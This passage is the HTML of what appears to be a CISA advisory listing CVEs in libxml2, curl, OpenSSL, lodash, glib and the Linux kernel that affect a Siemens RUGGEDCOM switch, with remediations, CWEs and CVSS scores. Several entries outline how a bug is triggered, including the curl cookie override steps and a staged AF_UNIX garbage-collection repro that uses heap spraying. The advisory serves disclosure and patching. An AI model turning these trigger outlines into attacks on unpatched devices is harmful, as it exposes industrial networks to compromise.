<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-8732</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in libxml2 up to 2.14.5. It has been declared as problematic. This vulnerability affects the function xmlParseSGMLCatalog of the component xmlcatalog. The manipulation leads to uncontrolled recursion. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. The code maintainer explains, that "[t]he issue can only be triggered with untrusted SGML catalogs and it makes absolutely no sense to use untrusted catalogs. I also doubt that anyone is still using SGML catalogs at all."</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-8732">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9086</a></h3>
<div class="csaf-accordion-content">
<p>1. A cookie is set using the `secure` keyword for `https://target` 2. curl is redirected to or otherwise made to speak with `http://target` (same hostname, but using clear text HTTP) using the same cookie set 3. The same cookie name is set - but with just a slash as path (`path=\"/\",`). Since this site is not secure, the cookie *should* just be ignored. 4. A bug in the path comparison logic makes curl read outside a heap buffer boundary The bug either causes a crash or it potentially makes the comparison come to the wrong conclusion and lets the clear-text site override the contents of the secure cookie, contrary to expectations and depending on the memory contents immediately following the single-byte allocation that holds the path. The presumed and correct behavior would be to plainly ignore the second set of the cookie since it was already set as secure on a secure host so overriding it on an insecure host should not be okay.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9231</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/385.html">CWE-385 Covert Timing Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-10966</a></h3>
<div class="csaf-accordion-content">
<p>curl's code for managing SSH connections when SFTP was done using the wolfSSH powered backend was flawed and missed host verification mechanisms. This prevents curl from detecting MITM attackers and more.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-10966">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13465</a></h3>
<div class="csaf-accordion-content">
<p>Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. This issue is patched on 4.17.23</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13465">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1321.html">CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13601</a></h3>
<div class="csaf-accordion-content">
<p>A heap-based buffer overflow problem was found in glib through an incorrect calculation of buffer size in the g_escape_uri_string() function. If the string to escape contains a very large number of unacceptable characters (which would need escaping), the calculation of the length of the escaped string could overflow, leading to a potential write off the end of the newly allocated string.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13601">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39913</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tcp_bpf: Call sk_msg_free() when tcp_bpf_send_verdict() fails to allocate psock-&gt;cork. syzbot reported the splat below. [0] The repro does the following: 1. Load a sk_msg prog that calls bpf_msg_cork_bytes(msg, cork_bytes) 2. Attach the prog to a SOCKMAP 3. Add a socket to the SOCKMAP 4. Activate fault injection 5. Send data less than cork_bytes At 5., the data is carried over to the next sendmsg() as it is smaller than the cork_bytes specified by bpf_msg_cork_bytes(). Then, tcp_bpf_send_verdict() tries to allocate psock-&gt;cork to hold the data, but this fails silently due to fault injection + __GFP_NOWARN. If the allocation fails, we need to revert the sk-&gt;sk_forward_alloc change done by sk_msg_alloc(). Let's call sk_msg_free() when tcp_bpf_send_verdict fails to allocate psock-&gt;cork. The "*copied" also needs to be updated such that a proper error can be returned to the caller, sendmsg. It fails to allocate psock-&gt;cork. Nothing has been corked so far, so this patch simply sets "*copied" to 0. [0]: WARNING: net/ipv4/af_inet.c:156 at inet_sock_destruct+0x623/0x730 net/ipv4/af_inet.c:156, CPU#1: syz-executor/5983 Modules linked in: CPU: 1 UID: 0 PID: 5983 Comm: syz-executor Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:inet_sock_destruct+0x623/0x730 net/ipv4/af_inet.c:156 Code: 0f 0b 90 e9 62 fe ff ff e8 7a db b5 f7 90 0f 0b 90 e9 95 fe ff ff e8 6c db b5 f7 90 0f 0b 90 e9 bb fe ff ff e8 5e db b5 f7 90 &lt;0f&gt; 0b 90 e9 e1 fe ff ff 89 f9 80 e1 07 80 c1 03 38 c1 0f 8c 9f fc RSP: 0018:ffffc90000a08b48 EFLAGS: 00010246 RAX: ffffffff8a09d0b2 RBX: dffffc0000000000 RCX: ffff888024a23c80 RDX: 0000000000000100 RSI: 0000000000000fff RDI: 0000000000000000 RBP: 0000000000000fff R08: ffff88807e07c627 R09: 1ffff1100fc0f8c4 R10: dffffc0000000000 R11: ffffed100fc0f8c5 R12: ffff88807e07c380 R13: dffffc0000000000 R14: ffff88807e07c60c R15: 1ffff1100fc0f872 FS: 00005555604c4500(0000) GS:ffff888125af1000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00005555604df5c8 CR3: 0000000032b06000 CR4: 00000000003526f0 Call Trace: __sk_destruct+0x86/0x660 net/core/sock.c:2339 rcu_do_batch kernel/rcu/tree.c:2605 [inline] rcu_core+0xca8/0x1770 kernel/rcu/tree.c:2861 handle_softirqs+0x286/0x870 kernel/softirq.c:579 __do_softirq kernel/softirq.c:613 [inline] invoke_softirq kernel/softirq.c:453 [inline] __irq_exit_rcu+0xca/0x1f0 kernel/softirq.c:680 irq_exit_rcu+0x9/0x30 kernel/softirq.c:696 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1052 [inline] sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1052</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39913">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40214</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: af_unix: Initialise scc_index in unix_add_edge(). Quang Le reported that the AF_UNIX GC could garbage-collect a receive queue of an alive in-flight socket, with a nice repro. The repro consists of three stages. 1) 1-a. Create a single cyclic reference with many sockets 1-b. close() all sockets 1-c. Trigger GC 2) 2-a. Pass sk-A to an embryo sk-B 2-b. Pass sk-X to sk-X 2-c. Trigger GC 3) 3-a. accept() the embryo sk-B 3-b. Pass sk-B to sk-C 3-c. close() the in-flight sk-A 3-d. Trigger GC As of 2-c, sk-A and sk-X are linked to unix_unvisited_vertices, and unix_walk_scc() groups them into two different SCCs: unix_sk(sk-A)-&gt;vertex-&gt;scc_index = 2 (UNIX_VERTEX_INDEX_START) unix_sk(sk-X)-&gt;vertex-&gt;scc_index = 3 Once GC completes, unix_graph_grouped is set to true. Also, unix_graph_maybe_cyclic is set to true due to sk-X's cyclic self-reference, which makes close() trigger GC. At 3-b, unix_add_edge() allocates unix_sk(sk-B)-&gt;vertex and links it to unix_unvisited_vertices. unix_update_graph() is called at 3-a. and 3-b., but neither unix_graph_grouped nor unix_graph_maybe_cyclic is changed because both sk-B's listener and sk-C are not in-flight. 3-c decrements sk-A's file refcnt to 1. Since unix_graph_grouped is true at 3-d, unix_walk_scc_fast() is finally called and iterates 3 sockets sk-A, sk-B, and sk-X: sk-A -&gt; sk-B (-&gt; sk-C) sk-X -&gt; sk-X This is totally fine. All of them are not yet close()d and should be grouped into different SCCs. However, unix_vertex_dead() misjudges that sk-A and sk-B are in the same SCC and sk-A is dead. unix_sk(sk-A)-&gt;scc_index == unix_sk(sk-B)-&gt;scc_index &lt;-- Wrong! &amp;&amp; sk-A's file refcnt == unix_sk(sk-A)-&gt;vertex-&gt;out_degree ^-- 1 in-flight count for sk-B -&gt; sk-A is dead !? The problem is that unix_add_edge() does not initialise scc_index. Stage 1) is used for heap spraying, making a newly allocated vertex have vertex-&gt;scc_index == 2 (UNIX_VERTEX_INDEX_START) set by unix_walk_scc() at 1-c. Let's track the max SCC index from the previous unix_walk_scc() call and assign the max + 1 to a new vertex's scc_index. This way, we can continue to avoid Tarjan's algorithm while preventing misjudgments.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40214">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40248</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vsock: Ignore signal/timeout on connect() if already established During connect(), acting on a signal/timeout by disconnecting an already established socket leads to several issues: 1. connect() invoking vsock_transport_cancel_pkt() -&gt; virtio_transport_purge_skbs() may race with sendmsg() invoking virtio_transport_get_credit(). This results in a permanently elevated `vvs-&gt;bytes_unsent`. Which, in turn, confuses the SOCK_LINGER handling. 2. connect() resetting a connected socket's state may race with socket being placed in a sockmap. A disconnected socket remaining in a sockmap breaks sockmap's assumptions. And gives rise to WARNs. 3. connect() transitioning SS_CONNECTED -&gt; SS_UNCONNECTED allows for a transport change/drop after TCP_ESTABLISHED. Which poses a problem for any simultaneous sendmsg() or connect() and may result in a use-after-free/null-ptr-deref. Do not disconnect socket on signal/timeout. Keep the logic for unconnected sockets: they don't linger, can't be placed in a sockmap, are rejected by sendmsg().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40248">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40250</a></h3>
<div class="csaf-accordion-content">
